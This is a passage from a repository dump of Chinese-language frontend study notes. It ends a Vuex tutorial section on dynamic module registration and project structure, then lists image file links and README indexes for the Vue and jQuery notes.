515 | ### 模块动态注册
516 | 
517 | ```js
518 | // 注册模块 `myModule`
519 | store.registerModule('myModule', {
520 |   // ...
521 | })
522 | // 注册嵌套模块 `nested/myModule`
523 | store.registerModule(['nested', 'myModule'], {
524 |   // ...
525 | })
526 | ```
527 | **Note:** 可以使用 store.unregisterModule(moduleName) 来动态卸载模块。
528 | 
529 | ## 项目结构
530 | 
531 | 需要遵守的规则：
532 | 
533 | - 1、应用层级的状态应该集中到单个 store 对象中。
534 | - 2、提交 mutation 是更改状态的唯一方法，并且这个过程是同步的。
535 | - 3、异步逻辑都应该封装到 action 里面。
536 | 
537 | 项目结构示例：
538 | ```js
539 | ├── index.html
540 | ├── main.js
541 | ├── api
542 | │   └── ... # 抽取出API请求
543 | ├── components
544 | │   ├── App.vue
545 | │   └── ...
546 | └── store
547 |     ├── index.js          # 我们组装模块并导出 store 的地方
548 |     ├── actions.js        # 根级别的 action
549 |     ├── mutations.js      # 根级别的 mutation
550 |     └── modules
551 |         ├── cart.js       # 购物车模块
552 |         └── products.js   # 产品模块
553 | ```
554 | 


--------------------------------------------------------------------------------
/Vue/Image/101.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/101.png


--------------------------------------------------------------------------------
/Vue/Image/201.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/201.png


--------------------------------------------------------------------------------
/Vue/Image/202.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/202.png


--------------------------------------------------------------------------------
/Vue/Image/301.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/301.png


--------------------------------------------------------------------------------
/Vue/Image/302.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/302.png


--------------------------------------------------------------------------------
/Vue/Image/401.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/401.png


--------------------------------------------------------------------------------
/Vue/Image/402.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/402.png


--------------------------------------------------------------------------------
/Vue/Image/501.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/501.png


--------------------------------------------------------------------------------
/Vue/Image/502.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/502.png


--------------------------------------------------------------------------------
/Vue/Image/503.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/503.png


--------------------------------------------------------------------------------
/Vue/Image/504.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/504.png


--------------------------------------------------------------------------------
/Vue/Image/601.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/601.png


--------------------------------------------------------------------------------
/Vue/Image/602.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/602.png


--------------------------------------------------------------------------------
/Vue/Image/603.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/603.png


--------------------------------------------------------------------------------
/Vue/Image/701.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/701.png


--------------------------------------------------------------------------------
/Vue/Image/801.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/801.png


--------------------------------------------------------------------------------
/Vue/Image/802.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/802.png


--------------------------------------------------------------------------------
/Vue/Image/803.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/803.png


--------------------------------------------------------------------------------
/Vue/Image/804.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/804.png


--------------------------------------------------------------------------------
/Vue/Image/lifecycle.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Vue/Image/lifecycle.png


--------------------------------------------------------------------------------
/Vue/README.md:
--------------------------------------------------------------------------------
 1 | # Vue 学习笔记
 2 | 
 3 | - [Vue 项目结构](./Docs/Framework.md)
 4 | - [Vue 笔记（基础部分）](./Docs/Vue-basic.md)
 5 | - [Vue 笔记（深入组件）](./Docs/Vue-advanced.md)
 6 | - [Vue-Router 笔记](./Docs/Vue-Router.md)
 7 | - [Vuex 笔记](./Docs/Vuex.md)
 8 | - [Vue 双向数据绑定](./Docs/Vue-Model.md)
 9 | - [Vue 虚拟 DOM](./Docs/Virtual-dom.md)
10 | - [Vue 面试问题](./Docs/Interview.md)
11 | - [Vue 最佳实践](./Docs/Experience.md)
12 | - [Vue 配置相关](./Docs/Config.md)
13 | 


--------------------------------------------------------------------------------
/jQuery/README.md:
--------------------------------------------------------------------------------
1 | # jQuery
2 | 


--------------------------------------------------------------------------------